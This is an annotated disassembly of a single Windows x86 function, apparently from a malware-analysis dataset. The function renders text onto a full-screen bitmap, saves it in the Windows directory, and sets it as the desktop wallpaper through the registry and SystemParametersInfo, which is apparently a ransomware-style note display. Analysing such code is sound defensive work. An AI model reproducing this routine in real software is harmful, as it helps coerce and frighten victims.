Function at 0x405cc0
Capabilities:
Capture screenshot
Change the wallpaper
Get common file path
Resolve function by parsing pe exports
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x1c8
mov eax, dword [0x47c018]
xor eax, esp
mov dword [esp + 0x1c4], eax
push esi
push edi
push 0x104
lea eax, [esp + 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0xc0]
push 0x455a7c
push eax
call esi
cmp dword [0x47cfe8], 0x10
mov eax, 0x47cfd4
cmovae eax, dword [0x47cfd4]
push eax
lea eax, [esp + 0xc4]
push eax
call esi
push str..jpg
lea eax, [esp + 0xc4]
push eax
call esi
push 0x800
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp dword [0x47d1c4], 0x10
mov ecx, 0x47d1b0
mov dword [esp + 0x10], eax
cmovae ecx, dword [0x47d1b0]
push ecx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push str.Times_New_Roman
push 0
push 0
push 0
push 2
push 1
push 0
push 0
push 0
push 0x190
push 0
push 0
push 0
push 0x2d
call dword [sym.imp.GDI32.dll_CreateFontW]
mov edi, eax
push 0
mov dword [esp + 0x24], edi
call dword [sym.imp.USER32.dll_GetDC]
mov esi, dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push eax
mov dword [esp + 0x1c], eax
call esi
push edi
mov edi, dword [sym.imp.GDI32.dll_SelectObject]
push eax
mov dword [esp + 0x14], eax
call edi
lea eax, [esp + 0x7c]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [esp + 0x18]
push dword [esp + 0x18]
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
mov eax, dword [esp + 0x7c]
push 0x438
add eax, 3
push 0x780
push dword [esp + 0x14]
and eax, 0xfffffffc
mov dword [esp + 0x88], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [esp + 0x1c], eax
push eax
push dword [esp + 0x10]
call edi
push 0xffffff
push dword [esp + 0x10]
call dword [sym.imp.GDI32.dll_SetTextColor]
push 2
push dword [esp + 0x10]
call dword [sym.imp.GDI32.dll_SetBkMode]
push 0
push dword [esp + 0x10]
call dword [sym.imp.GDI32.dll_SetBkColor]
push 0x211
lea eax, [esp + 0x88]
mov dword [esp + 0x8c], 0
push eax
push dword [esp + 0x18]
mov dword [esp + 0x90], 0
mov dword [esp + 0x9c], 0x438
mov dword [esp + 0x98], 0x780
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.USER32.dll_DrawTextA]
push dword [esp + 0x18]
mov eax, 0x4d42
mov dword [esp + 0x34], 0x28
mov dword [esp + 0x38], 0x780
mov dword [esp + 0x3c], 0x438
mov dword [esp + 0x40], 0x100001
movups xmm0, xmmword [esp + 0x34]
mov word [esp + 0x70], ax
xor eax, eax
mov dword [esp + 0x44], eax
movups xmmword [esp + 0x98], xmm0
mov dword [esp + 0x48], 0x3f4800
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
movups xmm0, xmmword [esp + 0x44]
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
movups xmmword [esp + 0xa8], xmm0
mov dword [esp + 0x72], 0
movq xmm0, qword [esp + 0x54]
mov dword [esp + 0x76], eax
mov dword [esp + 0x7a], 0x36
movq qword [esp + 0xb8], xmm0
call esi
mov esi, dword [esp + 0xc]
push 0
push 0
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x2c]
push eax
push 0
lea eax, [esp + 0xa4]
push eax
push esi
call dword [sym.imp.GDI32.dll_CreateDIBSection]
push eax
push dword [esp + 0x18]
call edi
push 0xcc0020
push 0
push 0
push esi
push dword [esp + 0x48]
mov esi, dword [esp + 0x28]
push dword [esp + 0x48]
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esp + 0x44]
test eax, eax
js 0x405f77
nop dword [eax]
mov ecx, dword [esp + 0x24]
cmp byte [eax + ecx], 0
jne 0x405f6e
mov byte [eax + ecx], 0
sub eax, 4
jns 0x405f60
mov eax, dword [esp + 0x44]
lea ecx, [eax - 2]
test ecx, ecx
js 0x405f97
nop
mov eax, dword [esp + 0x24]
cmp byte [ecx + eax], 0
jne 0x405f8e
mov byte [ecx + eax], 0
sub ecx, 4
jns 0x405f80
mov eax, dword [esp + 0x44]
lea ecx, [eax - 3]
test ecx, ecx
js 0x405fb3
nop
mov eax, dword [esp + 0x24]
cmp byte [ecx + eax], 0
jne 0x405fae
mov byte [ecx + eax], 0
sub ecx, 4
jns 0x405fa0
push dword [esp + 0x18]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
mov edi, dword [sym.imp.GDI32.dll_DeleteDC]
push esi
call edi
push dword [esp + 0x1c]
mov esi, dword [sym.imp.GDI32.dll_DeleteObject]
call esi
push dword [esp + 0xc]
call edi
push dword [esp + 0x20]
call esi
push dword [esp + 0x10]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
lea eax, [esp + 0xd8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4060d9
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [esp + 0x2c]
push 0
push eax
push 0xe
lea eax, [esp + 0x78]
mov dword [esp + 0x38], 0
push eax
push edi
call esi
push 0
lea eax, [esp + 0x30]
push eax
push 0x28
lea eax, [esp + 0x3c]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x30]
push eax
push dword [esp + 0x4c]
push dword [esp + 0x30]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x28]
push eax
push 0xf003f
push 0
push str.Control_PanelDesktop
push bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp dword [esp + 0x28], 0
je 0x4060d9
lea eax, [esp + 0xc0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [eax*2 + 2]
push eax
lea eax, [esp + 0xc4]
push eax
push 1
push 0
push str.Wallpaper
push dword [esp + 0x3c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
lea eax, [esp + 0xc4]
push eax
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
mov ecx, dword [esp + 0x1cc]
pop edi
pop esi
xor ecx, esp
call fcn.0042f19a
mov esp, ebp
pop ebp
ret